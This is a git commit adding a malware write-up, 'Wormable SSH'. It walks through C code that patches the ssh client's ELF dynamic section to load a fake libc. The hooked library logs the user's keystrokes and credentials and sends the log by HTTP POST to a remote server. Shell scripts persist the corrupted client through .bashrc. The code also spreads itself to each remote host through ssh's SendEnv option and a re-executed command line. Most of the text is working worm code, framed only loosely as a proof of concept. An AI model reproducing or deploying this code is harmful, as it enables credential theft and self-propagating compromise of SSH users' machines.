Add files via upload

This commit is contained in:
vxunderground 2020-10-11 00:34:26 -05:00 committed by GitHub
parent 47f8bef8f5
commit a447a29113
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 426 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,426 @@
[Wormable SSH]
[1. Introduction]
This text will present a way to turn ssh client in a very simple worm,
which will install itself in remote targets when someone use the corrupted
client and authenticates in some remote machine, the main idea of this text
is to present a new idea to make the client replicate its behavior in the
client of remote machine.
[2. Corrupting ssh client]
To take over the control of ssh client, it will be used a know and very abused
ELF corruption technique, its well described at phrack 61-8[0], regard of being
and old technique it still working and most of binaries found still dont
explying any protection against this simple technique, at phrack paper, they
give an implementation of this simple corruption using his framework called
Ceberus Interface, which is capable of doing much more. But will we stick with
this one and use a standalone simple implementation which will be released
togheter with this text.
I recommend all readers to take a look on phrack issue mentioned before, but
for a quick description of the technique, the next will be enough to understand
what will be happening.
ELF dynamic linked programs have a PT_DYNAMIC segment which carry the dynamic
section, which have an array of entries related to dynamic linking and other
useful information, because is not the goal of paper to explain about ELF
details, we just need to know the standard behavior of most compiler will emit
a DT_DEBUG entry in dyanamic section, even it never being used or aksed to.
The list of libraries some programs need to is listed in entries of type
DT_NEEDED, and as we have a useless entry with type DT_DEBUG it is possible to
convert the DT_DEBUG entry in a DT_NEEDED entrie, which will make some library
of our choice to be needed to load when the program intend to run, the only
problem is we should make the DT_NEEDED entry point to a string with the name
of the library we want. In the phrack paper itself they show a overcome to
this limitation. We can just make it point to a substring of a real used
library, so if it used "libc.so" we can reuse the string and make our entry
porint to "c.so".
As an short examploe of the technique i show this short snippets
// Its used to locate the dynamic section and retrive his size and number of
// entries
for (int i = 0; i < ehdr->e_phnum; i++)
{
if (phdr[i].p_type == PT_DYNAMIC)
{
dyn_base = (Elf64_Dyn *)&elf_buff[phdr[i].p_offset];
seg_size = phdr[i].p_filesz;
n_entries = phdr[i].p_filesz / sizeof(Elf64_Dyn);
break;
}
}
// This part is just to found the dynamic string table where we will catch some
// string of library name and reuse it
for (int i = 0; i < ehdr->e_shnum; i++)
{
if (!strcmp(&string_table[shdr[i].sh_name], ".dynstr"))
{
dynstr_base = (char *)&elf_buff[shdr[i].sh_offset];
break;
}
}
// Here we seek for the DT_DEBUG and DT_NEEDED entries, where target_lib is the
// string which represent the real library we want to reuse
for (int i = 0; i < n_entries; i++)
{
if (dyn_base[i].d_tag == DT_NEEDED &&
!strcmp(&dynstr_base[dyn_base[i].d_un.d_val], target_lib))
dt_needed_index = i;
if (dyn_base[i].d_tag == DT_DEBUG)
dt_debug_index = i;
}
// And here the job is done, the DT_DEBUG is converted in a DT_NEEDED entrie
// and it will be swapped if needed to be loaded before the real library
dyn_base[dt_debug_index].d_tag = DT_NEEDED;
if (dt_debug_index > dt_needed_index) {
dyn_base[dt_debug_index].d_un.d_val = dyn_base[dt_needed_index].d_un.d_val;
dyn_base[dt_needed_index].d_un.d_val = dyn_base[dt_debug_index].d_un.d_val+3;
} else
dyn_base[dt_debug_index].d_un.d_val = dyn_base[dt_needed_index].d_un.d_val+3;
The full code will be linked later to reference, but the main parts of using
the described technique are presented, all of those snippets are applied to
memory mapped ssh client binary and then saved to a copy which will be used
in the place of the original one.
[3. Hooking libc.so]
So we have an ssh client which will load a library of our choice first than some
some library of our choice too, to make the things clear i choosed to use libc.so.6
so in my case my fake library will be named "c.so.6" to reuse the original string
"libc.so.6", in the approach i will take i will need to know the path of original
libc.so used by ssh, because it will be needed to dlopen() libc and make the hooked
function to work in a transparent way, to insert the original path in the code
the simple command line was used when compiling the fake library:
cc -s -shared -fPIC c.so.6.c -o c.so.6 -ldl \
-DLIBC_PATH=$(ldd $(which ssh) | grep libc.so | awk '{print "\""$3"\""}')
After this part we just made a copy of c.so.6 and corrupted ssh in a path, can be
"$HOME/.bin", so we can set PATH and LD_LIBRARY_PATH to the same directory through
the .bashrc of the user we are targeting, if we take a look on our corrupted ssh with
ldd utility it will seems like this:
$ ldd ~/.bin/ssh
...
c.so.6 => /home/user/.bin/c.so.6 (0x00007f6b38846000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6b38655000)
...
So from now on we have the capability of running anything we want when the target
tries to use ssh, in this case the first good thing to make is to provide a way
to log the issued commands and even creds used by the target, to accomplish this we
will be installing a constructor in our library so it will run before the ssh main code
itself, our constructor is as follow:
__attribute__((constructor)) void _initf(int ac, char **av)
{
handle = dlopen(LIBC_PATH, RTLD_LAZY);
real_close = (void *)dlsym(handle, "close");
real_write = (void *)dlsym(handle, "write");
real_read = (void *)dlsym(handle, "read");
log_fd = open("/tmp/.sshlog", O_APPEND | O_CREAT | O_RDWR, S_IRWXU);
log_fd = dup2(log_fd, 42);
}
As you can see, nothing to fancy is done, we are just creating a temporary file to log
the commands and dupping the file descriptor, because ssh make cleanup on very first fds
during his startup code, the other parts is just providing a way to call real
function from glibc which will be hooked in our library, all the 3 functions hooked will
be listed now.
The close() function is being hooked just to prevent the file descriptor associaced with
out log file to be closed, so any other case we just call the original close() but direct
return success in case a try to close our file.
int close(int fd)
{
if (fd == log_fd)
return 0;
return real_close(fd);
}
The most common IO functions read()/write() are begin used to send the input from user
and output from ssh to our logfile after doing the real requests using the original
function which was saved during the execution of our constructor, theres not much about
this logging hooks, these was just a way to test if the hooks will work, a real hook
to be used on the wild should format and handle errors in a serious way.
ssize_t write(int fd, const void *buf, size_t count)
{
int ret = (real_write(fd, buf, count));
syscall(__NR_write, log_fd, "[write]:", 8);
for (int i = 0; i < ret; i++)
if (isprint(((char *)buf)[i]) || ((char *)buf)[i] == '\n')
syscall(__NR_write, log_fd, &((char *)buf)[i], 1);
syscall(__NR_write, log_fd, "\n", 1);
return ret;
}
ssize_t read(int fd, void *buf, size_t count)
{
int ret = (real_read(fd, buf, count));
syscall(__NR_write, log_fd, "[read]:", 7);
for (int i = 0; i < ret; i++)
if (isprint(((char *)buf)[i]))
syscall(__NR_write, log_fd, &((char *)buf)[i], 1);
syscall(__NR_write, log_fd, "\n", 1);
return ret;
}
Its checked and this method just works to log the input/output from the ssh client
to our choosed file, but it will not be useful if all those data just are dropped
in the file, because in the worst case we can lost our access to the machine and
in this case to the log file too, then its needed to provide a way to send the
saved log to another machine.
[4. POST log]
As stated in the last topic, keeping the logs local to the target machine will
not be to useful, to solve this issue we need to do at least two things, the
first one is to provide a way to save the logs in a remote machine, in our case
we will be doing this doing an HTTP POST of the logs to our server which will
just save the file with some random name, the following code is the help function
to do the POST:
void do_post(void)
{
host = "10.0.2.2";
sock_fd = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(port));
addr.sin_addr.s_addr = inet_addr(host);
connect(sock_fd, (struct sockaddr *)&addr, sizeof(struct sockaddr));
size += log_statbuf.st_size;
sprintf(capsule,
"POST http://%s:%s/%s HTTP/1.1\r\n"
"Host: %s:%s\r\n"
"Accept: */*\r\n"
"Content-Type: multipart/form-data; boundary=------------------------4ae6d1de929f9e46\r\n"
"Content-Length: %d\r\n"
"\r\n"
"--------------------------4ae6d1de929f9e46\r\n"
"Content-Disposition: form-data; name=\"vxlog\"; filename=\"vxlog.txt\"\r\n"
"Content-Type: application/octet-stream\r\n"
"\n",
host, port, resource, host, port, size);
real_write(sock_fd, capsule, strlen(capsule));
sendfile(sock_fd, log_fd, 0, log_statbuf.st_size);
real_write(sock_fd, "\n\n--------------------------4ae6d1de929f9e46--\r\n", 48);
close(sock_fd);
}
With the presented function we are now able to dump the log file when needed,
through a HTTP POST, which in this implementation send the whole file using
the sendfile syscall, regardless this syscall not being the most portable way
its easy to just change this code to send the log using another approach. Now
we need a way to trigger the the calling do_post() and for this we will use a
similar approach to open the log file in the very beginning, but now we will
attach this trigger as a destructor function, so when the target is exiting
from ssh, we will can close out log file and send back our logs, this is done
through the following code:
__attribute__((destructor)) void _finif(void)
{
lseek(log_fd, 0, SEEK_SET);
fstat(log_fd, &log_statbuf);
do_post();
syscall(__NR_close, log_fd);
unlink("/tmp/.sshlog");
}
Its done, our corrupted ssh client now can log his input/output and send the
data to a remote server where it can be keep safe, at least more safe than
just saving it local to target machine, so its somekind cool, but whata hell
this simple ssh logger having to do with worm? it will come in next topic.
[5. Local install]
To compile and install our code to corrupt the ssh and the fake library with
our functions to hook libc, i prepared a very simple script, it will not even
try to hide the files, the goal here is just to make the corrupted version of
ssh client to be used by our target, the script is listed here:
#!/bin/bash
cc -s -o dynamicorrupt dynamicorrupt.c
cc -s -shared -fPIC c.so.6.c -o c.so.6 -ldl -DLIBC_PATH=$(ldd $(which ssh) | grep libc.so | awk '{print "\""$3"\""}')
xxd -plain dynamicorrupt | tr -d \\n > dynamicorrupt.hex
xxd -plain c.so.6 | tr -d \\n > c.so.6.hex
rm -rf $HOME/.bin
mkdir $HOME/.bin/
cp *.hex $HOME/.bin/
cp $(which ssh) $HOME/.bin/
./dynamicorrupt $HOME/.bin/ssh
cp c.so.6 $HOME/.bin/
echo "export PATH=$HOME/.bin:$PATH" >> $HOME/.bashrc
echo "export LD_LIBRARY_PATH=$HOME/.bin/" >> $HOME/.bashrc
export PATH=$HOME/.bin:$PATH
export LD_LIBRARY_PATH=$HOME/.bin/
Most parts of the script is very clear, dyanmicorrupt is our code to change DT_DEBUG
to DT_NEEDED and the c.so.6 is our fake library, after compiling both we are dumping
both in hexadecimal notation to dynamicorrupt.hex and c.so.6.hex respectively, those
files dont matter for now, after this we are moving making a copy of real ssh client
to $HOME/.bin corrupting the copy and storing the fake library c.so.6 in the same
directory. And to make the target to run our corrupted copy of ssh, we are adding
two lines in his .bashrc setting PATH and LD_LIBRARY_PATH to search on $HOME/.bin too
After the script run once, our target will be using our version of ssh, but it will
just keep the logs and send it back to a remote server as described, so we need to
add a way to make it install itself to remote machines too.
[6. Remote install]
To make the remote install possible i choosed to combine a well technique which can
be called "reexec" and another one specific to ssh context(but maybe usable in others)
The reexec technique is exactly what his name says, the program will be re-executed
its seem to be not very useful, but it give us some nice primitives to work with,
the primitive which i will be using here is not new, but it seems to be not very
abused, it is "change args", so we will be re-executing the ssh with different args
which enable us to install our code in the remote machine.
Here i will dump the listing of the code which change the args and later give a brief
explanations on the parts which need more attention:
__attribute__((constructor)) int change_args(int argc, char **argv, char **envp)
{
int env_size = 0;
if (getenv("VXCOOL") == NULL)
{
char **envar = envp;
while (*envar++ != NULL)
env_size++;
char **new_envp = malloc(sizeof(char *) * env_size + 3);
for (int i = 0; i < env_size; i++)
new_envp[i] = strdup(envp[i]);
new_envp[env_size] = "VXCOOL=true";
new_envp[env_size + 1] = dynamicorrupt_envar();
new_envp[env_size + 2] = lcso_envar();
new_envp[env_size + 3] = NULL;
char **new_argv = malloc(sizeof(char *) * (argc + 4));
for (int i = 0; i < argc; i++)
new_argv[i] = strdup(argv[i]);
new_argv[argc] = "-t";
new_argv[argc + 1] = "-SendEnv";
new_argv[argc + 2] =
"rm -rf $HOME/.bin;"
"mkdir $HOME/.bin/;"
"cp $(which ssh) $HOME/.bin/;"
"printenv LC_BIN1 > $HOME/.bin/dynamicorrupt.hex;"
"cat $HOME/.bin/dynamicorrupt.hex | xxd -plain -revert > $HOME/.bin/dynamicorrupt;"
"chmod +x $HOME/.bin/dynamicorrupt;"
"$HOME/.bin/dynamicorrupt $HOME/.bin/ssh;"
"printenv LC_BIN2 > $HOME/.bin/c.so.6.hex;"
"cat $HOME/.bin/c.so.6.hex | xxd -plain -revert > $HOME/.bin/c.so.6;"
"chmod +x $HOME/.bin/c.so.6;"
"echo \"export PATH=$HOME/.bin:$PATH\" >> $HOME/.bashrc;"
"echo \"export LD_LIBRARY_PATH=$HOME/.bin/\" >> $HOME/.bashrc;"
"export PATH=$HOME/.bin:$PATH;"
"export LD_LIBRARY_PATH=$HOME/.bin/;"
"$SHELL -i;";
new_argv[argc + 3] = NULL;
execve("/proc/self/exe", new_argv, new_envp);
}
else
unsetenv("VXCOOL");
return 0;
}
As expected this function is defined as a constructor, because it need to
run before the original code of ssh, and even before the other parts of our
own code, the first question which comes is, if the constructor will reexec
the program, how it will stop to doing this infinity times? the answer is
a environment variable in this case we are using VXCOOL as a flag, if its
no setted we need to change args and reexec, if its set we are done and can
let the rest of code runs.
Now we just need to change the args in a way to let upload our code to the
remote machine when target succesfully connect to some machine, and to do
this i choosed to upload both, the corruption code and fake library, through
environment variables, the way to construct envp and argv is pretty straight
but im using a function two function to set the environment variable, i will
just one of these because in fact they are the same:
char *lcso_envar(void)
{
char *env_lcso = NULL;
struct stat stat_dynamicorrupt;
int envsz = 0;
char path[128];
sprintf(path, "%s/.bin/c.so.6.hex", getenv("HOME"));
int fd = open(path, O_RDONLY);
fstat(fd, &stat_dynamicorrupt);
env_lcso = malloc(stat_dynamicorrupt.st_size + strlen("LC_BIN2="));
strcpy(env_lcso, "LC_BIN2=");
syscall(__NR_read, fd, env_lcso + strlen("LC_BIN2="), stat_dynamicorrupt.st_size);
syscall(__NR_close, fd);
return env_lcso;
}
This presented listing is used to set the LC_BIN2 enviroment variable with
the hex encoded c.so.6 we have prepared before with our "local install" script,
the same approach is used to set the LC_BIN1 with hex encoded dynamicorrupt program.
At this point we have what we need setted on these env vars, and ssh have a
well switched option to use in our context, which is "-SendEnv", which
makes ssh turn the current envrioment variable of user running the program
avalaible in the remote machine after the connection is done.
I have used the "-t" option to to allocate pseudo terminal, but it was just
for using screen in the remote machine during the tests, i dont prepared any
serious code to hide the presence of strange behaviors in ssh after the reexec.
As you can see, a hardcoded version of "local install" script is being used as
a parameter which will be the command executed when the connection is done,
the main difference is at this time the code will be dumped from enviroment
variables and converted back from hex encoded format to ELF to be used in the
remote machine, and after this the default shell from $SHELL env var will be called
in a interactive way as "nothing" happened. after this point the remote machine
is infected in the same way the local one. So if the remote user connect to
another place the same process will be repeated.. and thats all.
[Observation]
This is just a simple PoC, which obviously is not intended to be used in the
wild, but can give some nice ideas, on how to use knowed techniques, how to
abuse and combine some techniques and a very simple way to make the infected
machine to infect other and so on, i think the new thing here is about to use
environment variable as a upload channel which can be used to send, scripts
or even programs and source-code too, i did the first version of this, make it
to upĺoad the "local install" script and compiling it to install remote, but
i changed it for the case the compiler are not available.
In fact it can be improved in # ways, but can be used as a start point to play
a bit with the Wonderful Worm World.
Regards, Anonymous_
[References]
[0] http://phrack.org/issues/61/8.html